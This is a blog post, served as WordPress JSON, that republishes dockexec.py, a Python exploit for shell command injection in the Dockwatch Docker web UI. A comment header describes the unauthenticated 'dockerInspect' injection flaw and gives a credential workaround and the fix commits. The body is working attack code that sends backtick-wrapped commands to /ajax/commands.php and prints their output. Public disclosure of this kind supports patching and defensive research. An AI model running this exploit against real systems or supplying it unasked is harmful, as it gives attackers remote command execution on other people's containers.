{"id":59750,"date":"2024-09-17T19:21:04","date_gmt":"2024-09-17T16:21:04","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181588\/dockexec.py.txt"},"modified":"2024-09-17T19:21:04","modified_gmt":"2024-09-17T16:21:04","slug":"dockwatch-remote-command-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/dockwatch-remote-command-execution\/","title":{"rendered":"Dockwatch Remote Command Execution"},"content":{"rendered":"<p>#!\/usr\/bin\/env python3<br \/># -*- coding: UTF-8 -*-<br \/>#<br \/># dockexec.py<br \/>#<br \/># Dockwatch Remote Command Execution<br \/>#<br \/># Jeremy Brown [jbrown3264\/gmail] \/ Sept 2024<br \/>#<br \/># Intro<br \/>#<br \/># Dockwatch is a container management web UI for docker. It runs by default<br \/># without authentication, although guidance is available for how to setup<br \/># credentials for access. It has a Commands feature that allows a user to<br \/># run docker commands such as inspect, network, ps. Prior to fix, it did not<br \/># restrict input for parameters, so both &#8216;container&#8217; and &#8216;parameters&#8217; for the<br \/># &#8216;dockerInspect&#8217; command were vulnerable to shell command injection on the<br \/># container as the &#8216;abc&#8217;user with (limited) command output.<br \/>#<br \/># Example<br \/>#<br \/># $ .\/dockexec.py http:\/\/host:9999 &#8220;id&#8221;<br \/># uid=1001(abc)<br \/># gid=131(abc)<br \/># groups=131(abc),281(unraiddocker),1000(users)<br \/>#<br \/># Workaround: echo &#8220;admin:[a-FANTASTIC-password]&#8221; &gt; \/config\/logins<br \/># * DO NOT DO THIS: echo &#8220;&#8221; &gt; \/config\/logins (* unless you want spacebar to work for user\/pass)<br \/>#<br \/># Fix: see commits 23df366 and c091e4c, kudos for maintainers for quick fixes<br \/>#<\/p>\n<p>import sys<br \/>import requests<br \/>import re<\/p>\n<p>def clean_output(output):<br \/>output = output.replace(&#8216;[]&#8217;, &#8221;)<br \/>output = re.sub(r&#8217;Error: No such object:\\s*&#8217;, &#8221;, output)<br \/>output = output.replace(&#8216;command&#8217;, &#8221;)<br \/>output = output.replace(&#8216;test\\n&#8217;, &#8221;)<br \/>lines = [line.strip() for line in output.split(&#8216;\\n&#8217;)]return &#8216;\\n&#8217;.join(lines)<\/p>\n<p>def send_command(url, command):<br \/>endpoint = f&#8221;{url}\/ajax\/commands.php&#8221;<\/p>\n<p>data = {<br \/>&#8216;m&#8217;: &#8216;runCommand&#8217;,<br \/>&#8216;command&#8217;: &#8216;dockerInspect&#8217;,<br \/>&#8216;container&#8217;: command,<br \/>&#8216;parameters&#8217;: &#8216;test&#8217;, # also affected<br \/>&#8216;servers&#8217;: &#8216;0&#8217;<br \/>}<\/p>\n<p>try:<br \/>response = requests.post(endpoint, data=data)<br \/>response.raise_for_status()<\/p>\n<p>match = re.search(r'&lt;pre[^&gt;]*&gt;(.*?)&lt;\/pre&gt;&#8217;, response.text, re.DOTALL)<br \/>if match:<br \/>output = clean_output(match.group(1))<br \/>if output:<br \/>print(&#8220;%s&#8221; % output)<br \/>else:<br \/>print(&#8220;No output found.&#8221;)<br \/>else:<br \/>print(&#8220;No output found in the response.&#8221;)<br \/>except requests.exceptions.RequestException as error:<br \/>print(&#8220;An error occurred: %s&#8221; % error)<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>if len(sys.argv) != 3:<br \/>print(&#8220;Usage: %s &lt;url&gt; &lt;command&gt;&#8221; % sys.argv[0])<br \/>sys.exit(1)<\/p>\n<p>url = sys.argv[1]command = &#8220;`&#8221; + sys.argv[2] + &#8220;`&#8221;<\/p>\n<p>send_command(url, command)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>#!\/usr\/bin\/env python3# -*- coding: UTF-8 -*-## dockexec.py## Dockwatch Remote Command Execution## Jeremy Brown [jbrown3264\/gmail] \/ Sept 2024## Intro## Dockwatch is a container management web UI for docker. It runs by default# without authentication, although guidance is available for how to setup# credentials for access. It has a Commands feature that allows a user to# run &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59750","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59750","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59750"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59750\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59750"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59750"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59750"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}